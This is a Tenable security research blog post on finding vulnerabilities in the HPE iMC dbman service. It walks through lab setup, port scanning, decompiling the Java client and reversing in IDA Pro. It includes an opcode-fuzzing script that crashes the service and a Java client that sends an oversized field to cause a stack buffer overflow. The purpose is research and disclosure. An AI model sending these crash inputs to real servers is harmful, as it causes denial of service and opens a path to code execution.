HPE iMC — Hunting the Hunted

Published in

Tenable TechBlog

15 min readOct 9, 2018

Author: Chris Lyne

SUMMARY

Tenable Research has discovered several security vulnerabilities in the HPE Intelligent Management Center (HPE iMC) “dbman” service, and we have worked with HPE to get the issues mitigated. This blog post is intended to detail the approach taken to find these vulnerabilities. Hunting for bugs may seem like magic at times, but really, all that is required is a pragmatic strategy and a pinch of good luck.

BACKGROUND

Note that this product has been “hunted” before. The fact that it is has been hunted before does not mean there are no bugs! Based on Google search results, 100+ HPE iMC vulnerabilities have been reported by the Zero Day Initiative. About 15 of these bugs are related to the dbman service. Prior to writing this blog post, Tenable discovered 4 vulnerabilities in 2017 and 2018.

Using a fairly standard penetration testing strategy, seemingly obvious bugs were found. No super advanced techniques were used (e.g. dynamic taint analysis, symbolic execution, etc).

Let’s hunt for more dbman bugs.

ANALYSIS

Creating a Research Environment

Research virtual machines (VM) must be created before starting any sort of deep analysis. I use VMware Fusion to host my VMs. Ensure the VM is created with at least the minimum system requirements listed for the target software. This includes operating system, processing capabilities, RAM, etc.

For this project, I created a VM with Windows Server 2008 R2 (SP1) x64. It has 4GB RAM and 100GB disk space. This VM will contain iMC. My client VMs are typically Linux based, but that’s just my personal preference.

Install any software required for your research efforts. My Windows research VMs typically include the following tools, as a minimum:

Ideally, two VMs will be needed: one server and one client. Once the research VMs are configured as desired, take a snapshot. This serves as the “base image” and it can be reverted before a new piece of software is researched down the road.

The latest version of HP iMC was downloaded from https://h10145.www1.hpe.com/Downloads/SoftwareReleases.aspx?ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535. Install and configure the software on the Windows VM. After a successful installation, there will be a new Start Menu item for Intelligent Deployment Monitoring Agent.

Next, open all ports in Windows firewall. This is for research purposes only, as we will need to be able to access any ports that services are listening on. In a command prompt, enter the following command.

C:\Users\Administrator>netsh advfirewall firewall add rule name=”Allow all TCP ports in” protocol=TCP dir=in localport=1–65535 action=allow

A Little Recon

Let’s run an nmap TCP connect scan from the “client”:

$ nmap -sT -p 1–65535 192.168.1.192
Starting Nmap 7.70 ( https://nmap.org ) at 2018–07–02 15:40 EDT
Nmap scan report for WIN-HB3PBI6GTER.fios-router.home (192.168.1.192)
Host is up (0.0045s latency).
Not shown: 65513 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
2810/tcp open netsteward
8080/tcp open http-proxy
8443/tcp open https-alt
8800/tcp open sunwebadmin
9091/tcp open xmltec-xmlmail
21195/tcp open unknown
21199/tcp open unknown
21999/tcp open unknown
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49168/tcp open unknown
49169/tcp open unknown
49566/tcp open unknown
49567/tcp open unknown
61616/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 107.94 seconds

Wow, there are quite a few open TCP ports! On the server machine, we can see which processes are listening on each port. For instance, we can run netstat to determine this association.

C:\Users\Administrator>netstat -anbo | more
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
Can not obtain ownership information
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 664
RpcSs
[svchost.exe]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
Can not obtain ownership information
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 1168
[sqlservr.exe]
TCP 0.0.0.0:2810 0.0.0.0:0 LISTENING 1920
[dbman.exe]
…

Notice that dbman.exe is listening on TCP port 2810 and has Process ID 1920. Next, we should try to figure out what this dbman process is all about.

Process Inspection

The SysInternals Suite is invaluable for examining processes and system behavior.

Let’s open Process Explorer to get an idea of what dbman.exe might be doing. If we inspect the process properties, we can see that dbman.exe is a 32-bit executable, it is running as NT AUTHORITY\SYSTEM, DEP is enabled, and ASLR is disabled.

By showing the lower pane, it is possible to see which handles (files, registry keys, etc) and DLLs dbman has open. Most notably, we can see that two log files are open and four DLLs have been loaded (not including Windows libraries). The two log files in the “C:\Program Files\iMC\dbman\log\” directory are open: “dbman_debug.log” and “dbman.log”.

Additionally, the following DLLs are loaded from the “C:\Program Files\iMC\dbman\bin\” directory: ACE_v6.dll, cppasn1.dll, libeay32.dll, and snmp_v6.dll.

Based on the DLL file names and descriptions, we can get a reasonably good idea of what is going on here. Libeay32 clearly contains the “OpenSSL Shared Library”. Apparently SNMP is made use of as well. A quick Google search for “cppasn1” reveals that this is an ASN.1 library. ASN.1 is an “interface description language for defining data structures that can be serialized and deserialized in a standard, cross-platform way.” It turns out that the ACE library is the ADAPTIVE Communication Environment. ACE is an “object-oriented (OO) framework that implements many core patterns for concurrent communication software.” At this point, an educated guess could be made as to how these libraries are used, but it’s best to not assume too much.

Logs typically contain valuable information. Unfortunately, there isn’t a whole lot written in the log files, since the installation is fresh. Even though the logs are bare, my preference is to keep the files open in a text editor to monitor for updates.

At this point, it’s about time to figure out what dbman.exe actually does (and how). We could pop dbman.exe into IDA Pro and start reversing, but gaining a sense of context is extremely vital to the reversing process. Since we know dbman.exe listens for connections on TCP port 2810, it’s probably safe to assume that there has to be a client that can connect to it and communicate. Locating a client is extremely helpful, as it will help us communicate with the server properly.

Locating a Client

Fortunately, in this case, it is quite simple to locate a client. As part of the iMC installation, the Intelligent Deployment Monitoring Agent is placed on the Start Menu. After opening this program, there are four tabs that make up the UI navigation. The fourth tab, Environment, has a few operations that can be performed: Configure, Backup, Restore, and View Log. With the hope of generating some dbman communications, all of the operations were attempted.

Luckily, some log entries were generated in dbman_debug.log after completing the “Configure” dialog:

2018–07–03 11:46:49 [DEBUG] [My_Accept_Handler::handle_input] Connection established 127.0.0.1
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10000
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Succeed to create SendBakConfigFileReq thread
2018–07–03 11:46:49 [INFO] [SendBakConfigFileReq] Reload config from file: C:\Program Files\iMC\dbman\bin\..\etc\dbman.conf
2018–07–03 11:46:49 [INFO] [Client::connect_to_server] Starting connect to 127.0.0.1: 2810
2018–07–03 11:46:49 [DEBUG] [My_Accept_Handler::handle_input] Connection established 127.0.0.1
2018–07–03 11:46:49 [INFO] [Client::connect_to_server] Established connection to 127.0.0.1: 2810
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10020
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Success to create directory: C:\dbmanbak
2018–07–03 11:46:49 [INFO] [Client::connect_to_server] Starting connect to 127.0.0.1: 2810
2018–07–03 11:46:49 [DEBUG] [My_Accept_Handler::handle_input] Connection established 127.0.0.1
2018–07–03 11:46:49 [INFO] [Client::connect_to_server] Established connection to 127.0.0.1: 2810
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10020
2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Success to create directory: C:\dbmanrestore

Looking carefully at the log entries, there is a trend. A command code is received, and subsequently an action is performed. In this case, command code 10000 appears to trigger the creation of a “SendBakConfigFileReq” thread. Command code 10020 kicks off the creation of a directory. Another interesting thing to note is that each log entry contains the method name in which the log was generated. For instance, My_Accept_Handler::handle_input looks a lot like C++ scope resolution. These log entries will be extremely helpful for driving a session in IDA Pro. The strings that have been encountered will more than likely be present in the dbman.exe executable (or one of the loaded DLLs).

Since logs were generated by the use of the Intelligent Deployment Monitoring Agent, it is apparent that this program is a client to the dbman service. After inspecting the application’s shortcut, life is made a bit simpler.

The value of the shortcut’s target is:

C:\Program Files\iMC\deploy\jdk\bin\javaw.exe” -cp deploy.jar -splash:splash.jpg -Djava.io.tmpdir=”C:\Program Files\iMC\tmp” com.h3c.imc.deploy.DMALauncher

This is interesting. Given that the shortcut starts in “C:\Program Files\iMC\deploy”, we now know that deploy.jar exists in that location, and the classes contained within it are in the classpath. Java JAR files can be decompiled with ease.

Decompiling the Client

Some of this section is driven by personal preference. For example, I prefer the Eclipse IDE and the CFR Java decompiler. That does not mean it is the best way or most efficient.

Let’s set up a new Eclipse Java project that will contain the decompiled classes. I named my project “decompiled”. The project contains a “src” directory. This is the directory that the classes will be decompiled into, so the source code will be apart of the new project.

I am a big fan of the CFR Java decompiler, mostly because it is a command line utility. In order to decompile deploy.jar, the following command was issued:

$ java -jar cfr_0_130.jar deploy.jar --outputdir decompiled/src

After decompilation, the “src” directory should look like this:

$ ls decompiled/src
com javax microsoft oracle org summary.txt

Refresh the Eclipse project, and all of the decompiled Java source files are now available and organized in their respective packages. There may be some compilation errors, but that’s not a problem.

Since we know that client code is in here, it is reasonable to assume that there would be connections made over TCP port 2810. By issuing a file search for “2810” in Eclipse, a few results of interest come back. Namely, DBManConfiguration.java and RemoteFileChooser.java contain the exact code we are looking for.

For example, in RemoteFileChooser.java, a method named “b” is defined, which writes a ByteBuffer to a SocketChannel over port 2810. The SocketChannel class creates TCP sockets. Taking a closer look at the debug statements, we can see that perhaps the method’s real name is “sendMsg”. JD-GUI gave the same decompilation results, so it seems likely that some obfuscation was used to hide function names.

private ByteBuffer b(ByteBuffer byteBuffer) {
  Object object = this.w;
  c.debug("sendMsg(ByteBuffer byteTmpBuffer):destination ip Address   = " + (String)object + " port = 2810");
  object = new InetSocketAddress((String)object, 2810);
  this.t = SocketChannel.open((SocketAddress)object);
  int n2 = this.t.write(byteBuffer);

Now that we found a method for sending messages over TCP port 2810, the next logical step is to find code that constructs these messages. More than likely, “sendMsg” should be called somewhere inside RemoteFileChooser after a message is created. Fortunately, Eclipse, like most IDEs, allows the user/developer to find references to methods (and classes, etc). There is a reference to a method named “a” inside RemoteFileChooser. This method does exactly what was expected.

private void a(String string, String string2) {
  Object object;
  AsnPlatRemoteDiskDirReqContent asnPlatRemoteDiskDirReqContent =   new AsnPlatRemoteDiskDirReqContent();
  new AsnPlatRemoteDiskDirReqContent().flag = BigInteger.valueOf(1L);
  asnPlatRemoteDiskDirReqContent.curDir = string.getBytes();
  v.clear();
  v.putInt(10001);
  try {
    object = ByteUtils.encodeASN1(asnPlatRemoteDiskDirReqContent);
    int n2 = object.limit();
    v.putInt(n2);
    v.put((ByteBuffer)object);
  }
  catch (ASN1Exception aSN1Exception) {
    object = aSN1Exception;
    aSN1Exception.printStackTrace();
  }
  v.flip();
  v = this.b(v);

I won’t explain it line-by-line, but the gist is that a byte buffer (we will call it “output buffer”) is constructed (containing an ASN.1 object), and it is then sent using “sendMsg”. First, the ASN.1 object is created (AsnRemoteDiskDirReqContent). The output buffer (“v”) is then constructed by writing the operation code (10001). Next, the ASN.1 object is BER encoded into a buffer named “object”. This buffer’s limit is written to the output buffer followed by the encoded object. Effectively, the message is organized like this:

Opcode | Limit of BER-Encoded Object | BER-Encoded Object

At this point, we now understand how a client communicates with the dbman process. Next, let’s take a look at how the server handles client communications.

Opcode Enumeration

As we saw earlier, the dbman process will write entries to a log when it receives client communications. These log entries include the “command code” (opcode) and more, depending on what the command does.

A logical next step might be to send command codes and observe what is written to the log. This may help to determine what a command code does. For this reason, the following Python script was written.

  1 import struct, binascii, socket, sys, time
  2 
  3 def print_usage():
  4     print "Usage: python " + sys.argv[0] + " <ip> <port>"
  5     sys.exit(0)
  6 
  7 ip = sys.argv[1]
  8 if len(sys.argv) == 3:
  9     try:
 10         port = int(sys.argv[2])
 11     except:
 12         print "Invalid port number."
 13         print_usage()
 14 else:
 15     print_usage()
 16 
 17 print "Target: " + ip + ":" + str(port)
 18 
 19 for opcode in range(9999, 10030):
 20     print "\nSending opcode " + str(opcode)
 21     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 22     sock.connect((ip, port))
 23 
 24     s = struct.Struct(">i")
 25     packed_data = s.pack(opcode)
 26 
 27     sock.send(packed_data)
 28 
 29     try:
 30         resp = sock.recv(1024)
 31         print "Response: '" + resp + "'"
 32     except:
 33         print "No response... possible crash!"
 34     sock.close()

While running this script, it was found that by simply sending an opcode of 10014, dbman.exe will actually reboot itself. A denial of service vulnerability was reported to HPE for this issue, along with a slew of other bugs. Sometimes, all you have to do is knock on the door.

The results of the script turned out to be quite useful, as each opcode generated log entries. For example, below is a log entry generated by sending an opcode of 10010:

2018–07–10 14:08:10 [DEBUG] [My_Accept_Handler::handle_input] Connection established 192.168.1.191
2018–07–10 14:08:10 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10010
2018–07–10 14:08:10 [DEBUG] [CDataConnStreamQueueT::deal_msg] Succeed to create FileTrans thread
2018–07–10 14:08:10 [ERROR] [FileTrans] Receive data len error expect 4 bytes infact -1 bytes
2018–07–10 14:08:10 [ERROR] [response_err_code] errCode = -1

There are two important pieces to note in this log. First, a “FileTrans” thread was created. Secondly, the “data len” was -1 when 4 bytes were expected. There were many unique log entries generated, varying based on the opcode that was sent. It was found that only opcodes between 10000 and 10022 are valid.

Going back to Eclipse, there is a class named AsnFileTransPara in the “com.h3c.imc.asn1msg.platdbmanmessage” package. There are also many more classes in this package, representing objects to be sent paired with their respective opcode. So, what is the “data len error”? Looking back at the model of a dbman message, this is the “Encoded object limit” (really, it’s size). This value helps the server to know the size of the encoded ASN.1 object.

Inspecting the Server with IDA Pro

Let’s take a deeper look at how dbman.exe handles a request from a client. Using IDA Pro, we will perform some basic static analysis and set strategic breakpoints to drive dynamic analysis. If we open the Strings window, a view of all strings found in the executable will be shown.

In the log output from earlier, there was a specific string written out that indicates which command code was received:

2018–07–03 11:46:49 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10020

The string is “Receive command code:”. This seems like a logical place to start looking, since different things happen based on the command code. It’s likely that command-specific code would follow this write to the log. If we search through the Strings window, the string is found.

By searching for cross-references to this string, only one instance is found. Notice the call to “log_output”. This is the function that will write the string to dbman_debug.log. I renamed this function for readability because it is called many times throughout the code.

Furthermore, if the value of the command code is between 10000 (0x2710) and 10022 (0x2726), inclusively, a branch is taken into a switch block that will perform actions based on the value of the command code. I set a breakpoint on the JMP instruction.

Zooming out a bit, the bigger picture is more clear. There are 23 possible execution paths that can be taken in this switch block. This makes sense, as we found 23 valid opcodes earlier.

Now that we have an idea of how the client and server work (from a high level), let’s try sending a valid dbman request. Once we have a working client, we will tweak it to try and find vulnerabilities.

Building a Client

Using the logic found in RemoteFileChooser, a client can be constructed to communicate with dbman.exe. The tricky part is that an opcode must be selected, and the corresponding ASN.1 object must be built correctly.

In the following example, an opcode of 10001 was chosen. Based on the log data written during opcode enumeration, it is pretty clear that an AsnPlatRemoteDiskDirReqContent object must be sent. Also, to make life easier, the RemoteFileChooser class builds out this type of message. Below is a main method which sends the 10001 command code with a populated AsnPlatRemoteDiskDirReqContent object. Note that the ‘flag’ field has a value of 1 and ‘curDir’ is set to “C:\\”.

public static void main(String[] args) {
  try {
   String ipAddr = "192.168.1.192";
   int port = 2810;String dir = "C:\\";AsnPlatRemoteDiskDirReqContent asnObj = new AsnPlatRemoteDiskDirReqContent();
   asnObj.flag = BigInteger.valueOf(1L);
   asnObj.curDir = dir.getBytes();// BER encode the ASN.1 object
   ByteBuffer encodedAsnObj = ByteUtils.encodeASN1(asnObj);// Create buffer to send
   ByteBuffer buf = ByteBuffer.allocateDirect(512000);
   buf.clear();
   buf.putInt(10001); // opcode
   buf.putInt(encodedAsnObj.limit()); // limit
   buf.put(encodedAsnObj); // ASN.1 object
   buf.flip();System.out.println("Limit: " + encodedAsnObj.limit());
   System.out.println("Sent the following ASN.1 object...");
   asnObj.print(System.out);
   SocketChannel channel = SocketChannel.open(new InetSocketAddress(ipAddr, port));
   channel.write(buf);
   channel.shutdownOutput();} catch (Exception e) {
   e.printStackTrace();
  }
 }

When this client program is executed, the following log entry is written out:

2018-07-11 11:15:32 [DEBUG] [My_Accept_Handler::handle_input] Connection established 192.168.1.191
2018-07-11 11:15:32 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10001
2018-07-11 11:15:32 [INFO] [getDirContent] File info oDirReq:{ -- SEQUENCE --
 flag '01'H  -- 
,
 curDir '433a5c'H  -- "C:\" --
}2018-07-11 11:15:32 [INFO] [getDirContent] Query dir: C:\

Notice that the log entry reflects exactly what we want. A command code of 10001 was received, ‘flag’ has a value of 1, and ‘curDir’ is set to the root of the C drive. Furthermore, there are no errors.

Now that a working client has been built, let’s try to find some vulnerabilities. Keep in mind that there are many things that can be tested. My initial approach was to play with the values of ‘flag’ and ‘curDir’. Sure enough, a large string value in the ‘curDir’ field will cause a stack overflow. Below is a snippet which stores a long string of ‘A’ characters (2700 characters) in the ‘curDir’ field. Take note of the “getLongStr” method.

public static String getLongStr(int len, char c) {
  char[] chars = new char[len];
  Arrays.fill(chars, c);
  return new String(chars);
 }
 
 public static void main(String[] args) {
  try {
   String ipAddr = "192.168.1.192";
   int port = 2810;String dir = getLongStr(2700, 'A'); // AAAAAAAAAAAAAAAAAsnPlatRemoteDiskDirReqContent asnObj = new AsnPlatRemoteDiskDirReqContent();
   asnObj.flag = BigInteger.valueOf(1L);
   asnObj.curDir = dir.getBytes();

When dbman.exe receives this message, the process will crash. Below is some output from WinDbg and the !exploitable plugin.

STATUS_STACK_BUFFER_OVERRUN encountered
(26f4.27e4): WOW64 breakpoint(26f4.27e4): WOW64 breakpoint - code 4000001f (first chance)
 - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for KERNEL32.dll - 
KERNEL32!GetProfileStringW+0x129fd:
7543ff99 cc              int     3
*** ERROR: Symbol file could not be found.  Defaulted to 
export symbols for C:\Program Files\iMC\dbman\bin\dbman.exeC:\Program Files\iMC\dbman\bin\dbman.exe - 
 - 
0:001:x86> !exploitable!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at KERNEL32!GetProfileStringW+0x00000000000129fd (Hash=0x21ea8d77.0x97133c89)Corruption of the exception handler chain is considered exploitable

Keep in mind that this example shows how only one vulnerability was found. There are 22 more opcodes to play with.

CONCLUSION

Let’s recap. In order to start hunting for vulnerabilities, it is essential to have a research environment configured initially. Assuming a virtualized environment, strategic snapshots will make life much easier, so configuration steps aren’t required to be repeated after each restore.

Though this write up was fairly concise in terms of showing the recon phase, this is an extremely important step, as it will reveal potential attack vectors and areas to explore. For the sake of brevity, we have only looked at TCP port 2810. Don’t forget about the other services listening on different ports (TCP and UDP). Also, developers love to reuse components. Keep an eye out for shared libraries that might have known vulnerabilities. These libraries may also give some hints about the underlying functionality.

As we have demonstrated, when attacking a service, locating an existing client can prove to be invaluable to the researcher. While it’s certainly possible to reverse the protocol (to develop a client) by looking at the service alone, the process would likely be quite lengthy. Clients can come in all shapes and sizes, and if luck is on your side, you may just get a client written in Java.

Once you have a working client, the real fun begins.